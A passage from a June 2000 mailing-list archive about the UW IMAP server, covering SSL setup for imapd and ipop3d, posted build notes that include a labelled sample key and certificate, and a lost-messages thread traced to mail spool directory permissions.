-port 993 CONNECTED(00000003) 20357:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:458: OpenSSL> > Also, make sure that the imapd.pem file has both a RSA PRIVATE KEY and a > CERTIFICATE section. It does. > > Also, does anyone know if imap-2000.BETA's SSL support will work with > > Netscape Messenger 4.72? > > It works for us... Cool. From pinedev@shivax2.cac.washington.edu Mon Jun 5 17:34:47 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 17:34:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA17993 for ; Mon, 5 Jun 2000 17:34:44 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA30886; Mon, 5 Jun 2000 17:34:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA02727; Mon, 5 Jun 2000 17:34:09 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA20838 for ; Mon, 5 Jun 2000 17:32:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jgr@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA21249 for ; Mon, 5 Jun 2000 17:32:02 -0700 Message-Id: Date: Mon, 5 Jun 2000 17:27:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jason Spangler Cc: "c-client@u.washington.edu" Subject: Re: Using SSL support in UW imap-2000.BETA? In-Reply-To: <393C41A5.78B4630D@wombatgames.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 05 Jun 2000 19:11:17 -0500, Jason Spangler wrote: > The line in inetd.conf now reads: > simap stream tcp nowait root /usr/sbin/imapd imapd > > I get a "port 993 service init" message in maillog Doh! [Said ala Homer Simpson...] Mea culpa. I should have noticed what you did wrong the last time. simap is not the right service name; the correct service name is imaps (and pop3s for pop3). Change the service name and all should be well. Sorry for not catching that. From pinedev@shivax2.cac.washington.edu Mon Jun 5 17:45:19 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 17:45:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA29901 for ; Mon, 5 Jun 2000 17:45:17 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA11405; Mon, 5 Jun 2000 17:45:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA03001; Mon, 5 Jun 2000 17:44:43 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA29144 for ; Mon, 5 Jun 2000 17:43:19 -0700 Received: from server.wombatgames.com ([208.188.97.107]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA21634 for ; Mon, 5 Jun 2000 17:43:18 -0700 Received: from wombatgames.com (cs1606-40.austin.rr.com [24.160.6.40]) by server.wombatgames.com (8.9.3/8.9.3) with ESMTP id TAA26072; Mon, 5 Jun 2000 19:43:15 -0500 Message-Id: <393C465A.B4ABCA9@wombatgames.com> Date: Mon, 05 Jun 2000 19:31:22 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Spangler To: Mark Crispin Cc: "c-client@u.washington.edu" Subject: Re: Using SSL support in UW imap-2000.BETA? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Mon, 05 Jun 2000 19:11:17 -0500, Jason Spangler wrote: > > The line in inetd.conf now reads: > > simap stream tcp nowait root /usr/sbin/imapd imapd > > > > I get a "port 993 service init" message in maillog > > Doh! [Said ala Homer Simpson...] Mea culpa. I should have noticed what you > did wrong the last time. simap is not the right service name; the correct > service name is imaps (and pop3s for pop3). > > Change the service name and all should be well. That did it, works now, thanks! It might be a good item to add to a docs/ssl.txt file too. :-) From pinedev@shivax2.cac.washington.edu Mon Jun 5 18:04:58 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 18:04:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA19878 for ; Mon, 5 Jun 2000 18:04:57 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA31725; Mon, 5 Jun 2000 18:04:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA03546; Mon, 5 Jun 2000 18:04:12 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA14538 for ; Mon, 5 Jun 2000 18:02:46 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA02792 for ; Mon, 5 Jun 2000 18:02:46 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (keil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA11833 for ; Mon, 5 Jun 2000 18:02:46 -0700 Message-Id: Date: Mon, 5 Jun 2000 18:02:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: SSL build instructions for imap-2000 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The following document will be in the next imap-2000 tarball. I'm issuing it now, in the hope that it may be useful to folks who've been scratching their heads about what to do. -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. SSL BUILD AND INSTALLATION NOTES FOR UNIX Before doing an SSL build, you should read imap-2000/docs/BUILD to make sure that you understand how to do a non-SSL build. To start, you need to have some version of OpenSSL (or perhaps SSLeay; I don't know if it'll still build with SSLeay) properly installed on the standard /usr/local/ssl directory. In particular, /usr/local/ssl/include (and /usr/local/ssl/include/openssl) and /usr/local/ssl/lib must be set up from the OpenSSL build. OpenSSL is available from third parties. We do not provide OpenSSL. To build with SSL, add "SPECIALAUTHENTICATORS=ssl" to the make command line. For example, on Red Hat Linux, the appropriate command would be: make lnp SPECIALAUTHENTICATORS=ssl There are other make options, described in imap-2000/src/osdep/Makefile. Binaries from the build are: imap-2000/mtest/mtest c-client testbed program imap-2000/ipopd/ipop2d POP2 daemon imap-2000/ipopd/ipop3d POP3 daemon imap-2000/imapd/imapd IMAP4rev1 daemon mtest is normally not used except by c-client developers. STEP 1: inetd setup The ipop2d, ipop3d, and imapd daemons should be installed in a system daemon directory (in the following examples, /usr/local/etc is used), and invoked by your /etc/inetd.conf file with lines such as: pop stream tcp nowait root /usr/local/etc/ipop2d ipop2d pop3 stream tcp nowait root /usr/local/etc/ipop3d ipop3d imap stream tcp nowait root /usr/local/etc/imapd imapd pop3s stream tcp nowait root /usr/local/etc/ipop3d ipop3d imaps stream tcp nowait root /usr/local/etc/imapd imapd Please refer to imap-2000/docs/BUILD for an important note about inetd's limit on the number of new connections. If that note applies to you, and you can configure the number of connection in /etc/inetd.conf as described in imap-2000/docs/build, here is the sample /etc/inetd.conf entry with SSL: pop3 stream tcp nowait.100 root /usr/local/etc/ipop3d ipop3d pop3s stream tcp nowait.100 root /usr/local/etc/ipop3d ipop3d imap stream tcp nowait.100 root /usr/local/etc/imapd imapd imaps stream tcp nowait.100 root /usr/local/etc/imapd imapd (or, if you use TCP wrappers) pop3 stream tcp nowait.100 root /usr/local/etc/tcpd ipop3d imap stream tcp nowait.100 root /usr/local/etc/tcpd imapd pop3s stream tcp nowait.100 root /usr/local/etc/ipop3d ipop3d imaps stream tcp nowait.100 root /usr/local/etc/imapd imapd Note: do *NOT* use TCP wrappers (tcpd) for the imaps and pop3s services! STEP 2: services setup You may also have to edit your /etc/services (or Yellow Pages, NetInfo, etc. equivalent) to register these services, such as: pop 109/tcp pop3 110/tcp imap 143/tcp imaps 993/tcp pop3s 995/tcp Note: the SSL IMAP service *MUST* be called "imaps", and the SSL POP3 service *MUST* be called "pop3s". STEP 3: certificates setup You must set up certificates on /usr/local/ssl/certs. You should install both the certificate authority certificates from the SSL sources, plus your own certificates. These should have been purchased from a certificate authority, although self-signed certificates are permissible. A sample certificate file is at the end of this document. Install the IMAP certificate on /usr/local/ssl/certs/imapd.pem and the POP3 certificate on /usr/local/ssl/certs/ipop3d.pem. These files should be protected against random people accessing them. It is permissible for imapd.pem and ipop3d.pem to be links to the same file. If you have a multihomed system with multiple domain names (and hence separate certifications for each domain name), you can append the IP address to the service name. For example, the IMAP certificate for [12.34.56.78] would be /usr/local/ssl/certs/imapd-12.34.56.78.pem and so on. You only need to use this feature if you need to use multiple certificates. SAMPLE CERTIFICATE FILE Here is a sample certificate file. Do *NOT* use this on your own machine; it is simply an example of what one would look like. -----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQDHkqs4YDbakYxRkYXIpY7xLXDQwULR5LW7xWVzuWmmZJOtzwlP 7mN87g+aaiQzwXUVndaCw3Zm6cOG4mytf20jPZq0tvWnjEB3763sorpfpOe/4Vsn VBFjyQY6YdqYXNmjmzff5gTAecEXOcJ8CrPsaK+nkhw7bHUHX2X+97oMNQIDAQAB AoGBAMd3YkZAc9LUsig8iDhYsJuAzUb4Qi7Cppj73EBjyqKR18BaM3Z+T1VoIpQ1 DeXkr39heCrN7aNCdTh1SiXGPG6+fkGj9HVw7LmjwXclp4UZwWp3fVbSAWfe3VRe LM/6p65qogEYuBRMhbSmsn9rBgz3tYVU0lDMZvWxQmUWWg7BAkEA6EbMJeCVdAYu nQsjwf4vhsHJTChKv/He6kT93Yr/rvq5ihIAPQK/hwcmWf05P9F6bdrA6JTOm3xu TvJsT/rIvQJBANv0yczI5pUQszw4s+LTzH+kZSb6asWp316BAMDedX+7ID4HaeKk e4JnBK//xHKVP7xmHuioKYtRlsnuHpWVtNkCQQDPru2+OE6pTRXEqT8xp3sLPJ4m ECi18yfjxAhRXIU9CUV4ZJv98UUbEJOEBtx3aW/UZbHyw4rwj5N511xtLsjpAkA9 p1XRYxbO/clfvf0ePYP621fHHzZChaUo1jwh07lXvloBSQ6zCqvcF4hG1Qh5ncAp zO4pBMnwVURRAb/s6fOxAkADv2Tilu1asafmqVzpnRsdfBZx2Xt4oPtquR9IN0Q1 ewRxOC13KZwoAWtkS7l0mY19WD27onF6iAaF7beuK/Va -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIECTCCA3KgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBujELMAkGA1UEBhMCVVMx EzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1NlYXR0bGUxHzAdBgNVBAoT FkJsdXJkeWJsb29wIEluZHVzdHJpZXMxFjAUBgNVBAsTDUlTIERlcGFydG1lbnQx ITAfBgNVBAMTGEJvbWJhc3RpYyBULiBCbHVyZHlibG9vcDEoMCYGCSqGSIb3DQEJ ARYZYm9tYmFzdGljQGJsdXJkeWJsb29wLmNvbTAeFw0wMDA2MDYwMDUxMTRaFw0x MDA2MDQwMDUxMTRaMIG6MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3Rv bjEQMA4GA1UEBxMHU2VhdHRsZTEfMB0GA1UEChMWQmx1cmR5Ymxvb3AgSW5kdXN0 cmllczEWMBQGA1UECxMNSVMgRGVwYXJ0bWVudDEhMB8GA1UEAxMYQm9tYmFzdGlj IFQuIEJsdXJkeWJsb29wMSgwJgYJKoZIhvcNAQkBFhlib21iYXN0aWNAYmx1cmR5 Ymxvb3AuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHkqs4YDbakYxR kYXIpY7xLXDQwULR5LW7xWVzuWmmZJOtzwlP7mN87g+aaiQzwXUVndaCw3Zm6cOG 4mytf20jPZq0tvWnjEB3763sorpfpOe/4VsnVBFjyQY6YdqYXNmjmzff5gTAecEX OcJ8CrPsaK+nkhw7bHUHX2X+97oMNQIDAQABo4IBGzCCARcwHQYDVR0OBBYEFD+g lcPrnpsSvIdkm/eol4sYYg09MIHnBgNVHSMEgd8wgdyAFD+glcPrnpsSvIdkm/eo l4sYYg09oYHApIG9MIG6MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3Rv bjEQMA4GA1UEBxMHU2VhdHRsZTEfMB0GA1UEChMWQmx1cmR5Ymxvb3AgSW5kdXN0 cmllczEWMBQGA1UECxMNSVMgRGVwYXJ0bWVudDEhMB8GA1UEAxMYQm9tYmFzdGlj IFQuIEJsdXJkeWJsb29wMSgwJgYJKoZIhvcNAQkBFhlib21iYXN0aWNAYmx1cmR5 Ymxvb3AuY29tggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAwEEk JXpVXVaFTuG2VJGIzPOxQ+X3V1Cl86y4gM1bDbqlilOUdByUEG4YfSb8ILIn+eXk WzMAw63Ww5t0/jkO5JRs6i1SUt0Oy80DryNRJYLBVBi499WEduro8GCVD8HuSkDC yL1Rdq8qlNhWPsggcbhuhvpbEz4pAfzPkrWMBn4= -----END CERTIFICATE----- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 5 18:47:20 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jun 2000 18:47:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA23401 for ; Mon, 5 Jun 2000 18:47:18 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA32630; Mon, 5 Jun 2000 18:47:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA04546; Mon, 5 Jun 2000 18:46:58 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA32514 for ; Mon, 5 Jun 2000 18:45:36 -0700 Received: from server.wombatgames.com ([208.188.97.107]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA08285 for ; Mon, 5 Jun 2000 18:45:35 -0700 Received: from wombatgames.com (cs1606-40.austin.rr.com [24.160.6.40]) by server.wombatgames.com (8.9.3/8.9.3) with ESMTP id UAA26198; Mon, 5 Jun 2000 20:45:10 -0500 Message-Id: <393C54D9.CC148A83@wombatgames.com> Date: Mon, 05 Jun 2000 20:33:13 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Spangler To: Mark Crispin , "c-client@u.washington.edu" Subject: Re: SSL build instructions for imap-2000 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > The following document will be in the next imap-2000 tarball. I'm issuing > it now, in the hope that it may be useful to folks who've been scratching > their heads about what to do. That doc will help a lot! Only things I can think of that might be good to add are: Testing with openssl test client like you mentioned earlier: % openssl OpenSSL> s_client -host localhost -port 993 Generating a test key yourself: openssl req -new -x509 -days 365 -nodes -out key.pem -keyout key.pem From pinedev@shivax2.cac.washington.edu Tue Jun 6 12:14:18 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jun 2000 12:14:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA14184 for ; Tue, 6 Jun 2000 12:14:17 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA24632; Tue, 6 Jun 2000 12:14:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA05793; Tue, 6 Jun 2000 12:12:24 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA38146 for ; Tue, 6 Jun 2000 12:10:14 -0700 Received: from server.wombatgames.com ([208.188.97.107]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA15561 for ; Tue, 6 Jun 2000 12:10:13 -0700 Received: from wombatgames.com (ns [208.188.97.105]) by server.wombatgames.com (8.9.3/8.9.3) with ESMTP id OAA28852 for ; Tue, 6 Jun 2000 14:10:12 -0500 Message-Id: <393D4C61.FB724C54@wombatgames.com> Date: Tue, 06 Jun 2000 14:09:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Spangler To: "c-client@u.washington.edu" Subject: imap-2000 imapd loosing messages? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Since upgrading to the imapd from imap-2000.BETA I've had some messages disappear from my mailbox. Fox example, using Netscape Messenger would have a message from Jeremy in my inbox. I left Messenger running, left the computer room, and came back about an hour later. The message from Jeremy had disappeared from Messenger, and had disappeared from my spool file on the mail server as well. I've also noticed that some messages will disappear from my mail spool file, but Messenger won't notice that the message is gone: it still shows the message as existing, but when I select the message it appears blank. Anyone else having this problem? I'm switching back to the previous version of imapd so I don't loose any important email. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 6 12:22:45 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jun 2000 12:22:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA18567 for ; Tue, 6 Jun 2000 12:22:43 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05562; Tue, 6 Jun 2000 12:22:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA16761; Tue, 6 Jun 2000 12:21:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA35720 for ; Tue, 6 Jun 2000 12:20:27 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA21490 for ; Tue, 6 Jun 2000 12:20:21 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id WAA50820; Tue, 6 Jun 2000 22:20:03 +0300 (EEST) Received: from castro.dbnet.ece.ntua.gr (castro.dbnet.ece.ntua.gr [147.102.12.2]) by dblab.ece.ntua.gr (8.11.0.Beta1/8.10.1) with ESMTP id e56JK3w63277; Tue, 6 Jun 2000 22:20:03 +0300 (EEST) Received: (from george@localhost) by castro.dbnet.ece.ntua.gr (8.9.3+Sun/8.9.1) id WAA25469; Tue, 6 Jun 2000 22:20:03 +0300 (EET DST) Message-Id: <20000606222003.A25447@dblab.ece.ntua.gr> Date: Tue, 6 Jun 2000 22:20:03 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Jason Spangler Cc: "c-client@u.washington.edu" Subject: Re: imap-2000 imapd loosing messages? In-Reply-To: <393D4C61.FB724C54@wombatgames.com>; from stormwind@wombatgames.com on Tue, Jun 06, 2000 at 02:09:21PM -0500 References: <393D4C61.FB724C54@wombatgames.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Jun 06, 2000 at 02:09:21PM -0500, Jason Spangler wrote: > Since upgrading to the imapd from imap-2000.BETA I've had some messages > disappear from my mailbox. > : > : > Anyone else having this problem? I'm switching back to the previous > version of imapd so I don't loose any important email. Actually, you are not missing messages. I had the same problem, but when I switched back to 4.7c2 I was seeing all the messages (and in the ``expected'' order). -- # more coffee From pinedev@shivax2.cac.washington.edu Tue Jun 6 12:24:28 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jun 2000 12:24:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA26207 for ; Tue, 6 Jun 2000 12:24:26 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA25056; Tue, 6 Jun 2000 12:24:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA06996; Tue, 6 Jun 2000 12:23:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA22934 for ; Tue, 6 Jun 2000 12:20:29 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA02962 for ; Tue, 6 Jun 2000 12:20:29 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA23946; Tue, 6 Jun 2000 12:20:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wml@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id MAA12960; Tue, 6 Jun 2000 12:20:29 -0700 Message-Id: Date: Tue, 6 Jun 2000 12:17:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jason Spangler Cc: "c-client@u.washington.edu" Subject: re: imap-2000 imapd loosing messages? In-Reply-To: <393D4C61.FB724C54@wombatgames.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is your mail spool directory protected 1777? (drwxrwxrwt) If not, make sure that it is. You probably should also check your mail logs, since there undoubtable are "mailbox vulnerable" warning messages telling you about the problem. This is not a new problem in imap-2000. An inability to lock because of bad mail spool directory protection has always been a problem, and corrupt mail files has always been a risk. From pinedev@shivax2.cac.washington.edu Tue Jun 6 12:36:04 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jun 2000 12:36:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA18107 for ; Tue, 6 Jun 2000 12:36:03 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA25399; Tue, 6 Jun 2000 12:36:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA06985; Tue, 6 Jun 2000 12:35:41 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA25878 for ; Tue, 6 Jun 2000 12:34:02 -0700 Received: from server.wombatgames.com ([208.188.97.107]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA24346 for ; Tue, 6 Jun 2000 12:34:00 -0700 Received: from wombatgames.com (ns [208.188.97.105]) by server.wombatgames.com (8.9.3/8.9.3) with ESMTP id OAA29921; Tue, 6 Jun 2000 14:33:55 -0500 Message-Id: <393D51F0.B660C587@wombatgames.com> Date: Tue, 06 Jun 2000 14:33:04 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Spangler To: Mark Crispin , "c-client@u.washington.edu" Subject: Re: imap-2000 imapd loosing messages? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > Is your mail spool directory protected 1777? (drwxrwxrwt) Nope, no sticky bit and no writable by others. It was: drwxrwxr-x 2 root root 1024 Jun 6 14:21 /var/spool/mail and after chmod 1777 /var/spool/mail is now: drwxrwxrwt 2 root root 1024 Jun 6 14:22 /var/spool/mail > If not, make sure that it is. You probably should also check your mail logs, > since there undoubtable are "mailbox vulnerable" warning messages telling you > about the problem. I can't find any "mailbox vulnerable" messages in my logs. > This is not a new problem in imap-2000. An inability to lock because of bad > mail spool directory protection has always been a problem, and corrupt mail > files has always been a risk. The Red Hat RPM of imap (which I modified for imap-2000.BETA) builds imap with the -DIGNORE_LOCK_EACCES_ERRORS=1 option, could the problem be related to this? From pinedev@shivax2.cac.washington.edu Tue Jun 6 13:12:28 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jun 2000 13:12:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA20158 for ; Tue, 6 Jun 2000 13:12:27 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA07277; Tue, 6 Jun 2000 13:12:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA09338; Tue, 6 Jun 2000 13:11:39 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu 